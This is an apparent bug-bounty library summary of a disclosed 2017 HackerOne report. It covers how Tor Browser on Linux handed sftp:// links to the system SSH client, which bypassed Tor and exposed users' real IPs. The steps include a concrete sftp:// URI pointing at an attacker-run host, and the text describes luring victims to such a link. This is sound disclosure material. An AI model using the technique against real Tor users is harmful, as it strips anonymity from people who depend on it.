# Linux TBB SFTP URI allows local IP disclosure

Tor Browser on Linux handed sftp:// URIs to the system SSH client, bypassing the SOCKS proxy and leaking the user's real IP to an attacker-controlled host.

- Payout: $3,000
- Severity: critical
- Program: Tor
- Credited: rethink5807
- Disclosed: 2017-10-25
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/253429
- Library page: https://bugbountylibrary.com/r/h1%3A253429
- Tags: domain:desktop domain:network impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:critical tech:linux technique:recon vuln:info-disclosure

**Target:** Tor Browser Bundle (Linux) URI handler for sftp://
**Root cause:** TBB on Linux delegates sftp:// URIs to the OS-registered SSH client, which makes a direct outbound connection outside Tor's SOCKS proxy.
**Steps:**
1. Install clean Ubuntu 16.04 with TBB 7.0.2
2. Navigate TBB to `sftp://104.131.180.179:80/index.php`
3. Wait ~1 minute; the system SSH client connects directly to the attacker host
4. Check `http://104.131.180.179/ip.txt` to see the victim's real IP logged
5. Observe apache log entry `SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1` confirming direct SSH handshake
**How found:** Researcher noticed Ubuntu's default SSH client is registered for sftp:// and tested whether TBB would invoke it, then confirmed via server-side IP logging and Apache error logs showing the SSH banner.
**Exploitation:** Attacker hosts a server and lures a TBB-on-Linux user to an sftp:// URI; the OS SSH client connects directly, revealing the victim's real IP and allowing redirection to local resources.
**Escalation:** Same handler can be pointed at local resources, enabling access to internal/local services.
**Insight:** Check OS-level URI scheme handlers (sftp, smb, ssh, mailto) registered on the host: browsers that delegate to external apps leak traffic outside the proxy and can be pointed at localhost services.